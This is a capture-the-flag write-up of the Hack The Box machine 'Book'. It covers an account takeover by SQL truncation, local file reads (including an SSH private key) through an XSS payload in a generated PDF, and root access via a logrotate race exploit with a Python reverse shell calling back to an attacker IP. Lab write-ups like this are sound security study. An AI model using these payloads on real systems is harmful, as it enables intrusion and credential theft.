___               _   ___   ___ 
|  _|_____ ___ ___| |_|_  | |  _|
|  _|     | .'|_ -|   |_| |_| . |
|_| |_|_|_|__,|___|_|_|_____|___|
                 u/fmash16's page

Hackthebox - Book Writeup

Nmap Scan

nmap -sC -sV -sS -oN nmap.out book.htb

Open ports:

Enumeration

Web

Going to the webpage, we find a login prompt. We sign up for an accound and login.

There is a section called “Collections” where we can submit a book. Seems like we can upload a file to the server. We try uploading a php-web-shell and succeed. But we dont know the location where the submission is stored yet.

From the “Contact us” option, we find the admin email account:

admin@book.htb

Gobuster fuzzing

gobuster dir -u http://book.htb/ -w /usr/share/wordlists/dirb/common.txt

We find a folder /doc, which might contain our uploaded file. But we cannot access it yet. We also see a /admin page.

/doc

Going to the home page of the site after logging in, we find some pdf files describing flowers. These can be downloaded and are named in the format 1.pdf. From a hunch, we try the url http://book.htb/1.pdf and we do in fact get the same pdf file. So the pdf files are stored in the /doc folder.

So /doc should be where our submissions go. But trying to open our submission going to the url http://book.htb/docs/php-reverse-shell.php shows a 404. So either our file was not uploaded or its name was changed.

/admin login

Going over to /admin page, we find a login prompt similar to the previous one found, but this one shows for authorized people only.

We try logging in with our created account but fail.(duh!)

admin account - SQL truncation attack

Looking at the source of the signup page, we find something interesting

function validateForm() {
  var x = document.forms["myForm"]["name"].value;
  var y = document.forms["myForm"]["email"].value;
  if (x == "") {
    alert("Please fill name field. Should not be more than 10 characters");
    return false;
  }
  if (y == "") {
    alert("Please fill email field. Should not be more than 20 characters");
    return false;
  }

So this script shows that our inputs in the fields should be limited by the set number of characters. What if we give a longer input? It will get truncated. This is known as SQL Truncation Attack

So if we create an account with a name like "admin hello", the script will truncate all characters after the 10th. And so our name becomes admin, and we could run admin on the site. The form must allow spaces in the name for this. We check for that and find that we can in fact input spaces.

Now, we try creating our admin account. The signup page seems to perform a client side email validation. To bypass that, we craft our request using burp. We intercept a signup request and edit that as per our needs. Our crafted http request stands

POST /index.php HTTP/1.1
Host: book.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://book.htb/index.php
Content-Type: application/x-www-form-urlencoded
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 61

name=admin+++++a&email=admin%40book.htb++++++a&password=hello

We have URL encoded the params after adding necessary number of spaces. Now we send the POST request and try logging in with the admin account with our set password. And we succeed.

File upload

Now, logged in as admin, we can view the collections files stored in a pdf file with links to the files. Submitting our php-web-shell, we do not see

that in our collections, so it was not uploaded. We are only allowed to upload pdf files. We upload a random pdf file and download the collections pdf. We see that our included pdf is listed with a number. So our upload gets renamed by a number.

Another thing we notice is that the pdf is dynamically generated each time we request for a download. This dynamic generation of the pdf file can be exploited using XSS since we control the input filename. It took me quite a long time to fine this. This can be used to read local files. This has been explained here.

So in order to exploit the XSS, we input the following script as the “Book Title” and enter any random pdf file

<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open("GET","file:///etc/passwd");x.send();</script>

Then we download the collections pdf from the admin page and see the /etc/passwd file 79101.pdf

We find a user named reader

Privilege Escalation - User

Getting id_rsa of user

Since we can read any local files, lets try reading the id_rsa of the found user “reader” at /home/reader/.ssh/id_rsa.

<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open("GET","file:///home/reader/.ssh/id_rsa");x.send();</script>

And we get the private key. We can use this for ssh login to the user account.

pdf2txt conversion

The key if copied from the pdf to a file, is not in the correcto id_rsa format. To convert the pdf to txt, we use a python tool called pdfminer.six

We install it using

sudo apt install python3-pdfminer
pip install pdfminer.six

Then, we convert the pdf to txt and do some editing in spaces to get the correct format id_rsa.

python3 /usr/local/bin/pdf2txt.py 64757.pdf>id_rsa

SSH login with id_rsa

We change the permissions of the id_rsa

chmod 600 id_rsa

And then we login to the machine as user reader

bash -i id_rsa reader@book.htb

And we get the shell of the user. And we can read the user.txt

Privilege Escalation - root

Enumeration

linpeas.sh gives us some interesting info about system timers

We find a timer named book.timer that seems to run at an interval of 1m.

To see what the timer executes, we run pspy64 to monitor the processes. And get what commands the timer runs.

/usr/sbin/logrotate -f /root/log.cfg
/bin/sh /root/log.sh
sleep 5

The timer seems to run logrotate

logrotate race condition exploit

“Log rotation” refers to the practice of archiving an application’s current log, starting a fresh log, and deleting older logs. Googling around we find that logrotate is vulnerable to a race condition.

This working of this exploit is described fully at feedyourhead. A PoC can be found on github by whotwanger. We can use this PoC for our case.

As per the instructions, we execute the follwing :

  1. We download the c file to our target and compile it. Next we create our payload containing our reverse shell. We need to background the shell, otherwise we will not get a stable shell. Next we run the compiled source with required args.
wget http://10.10.15.237:8000/logrotten.c
gcc -o logrotten logrotten.c
echo "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.15.237",1234));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' &
./logrotten -d -p ./payloadfile /home/reader/backups/access.log
  1. Next we need to write some random contents to the access.log file in backups. This necessary because the log file is not rotated if the file is empty and the notifempty parameter is set in the conf file. It is safe to write a big amount of junk into the logfile in case the size parameter is set in the conf file for logrotate, in which case, the rotation will only occur when the logfile gets larger than the sepcified size.
echo hello > access.log
  1. We fire up a nc listener on our host
nc -lnvp 1234

And we get a root shell. We can now read our root.txt file.

PS: The root shell will only be active for a short time. So the commands need to be executed fast. After a short time, the shell exists but the tty cannot be accessed anymore and you will get an error:

/bin/sh: 3: Cannot set tty process group (Inappropriate ioctl for device)
/bin/sh: 3: Cannot set tty process group (Inappropriate ioctl for device)

The reason this happens, according to my guess, is that when our payload gets executed as root, the shell opens as interactive tty. But a while later, the child process id disconnected from the tty. So we see a zombie shell.

Resources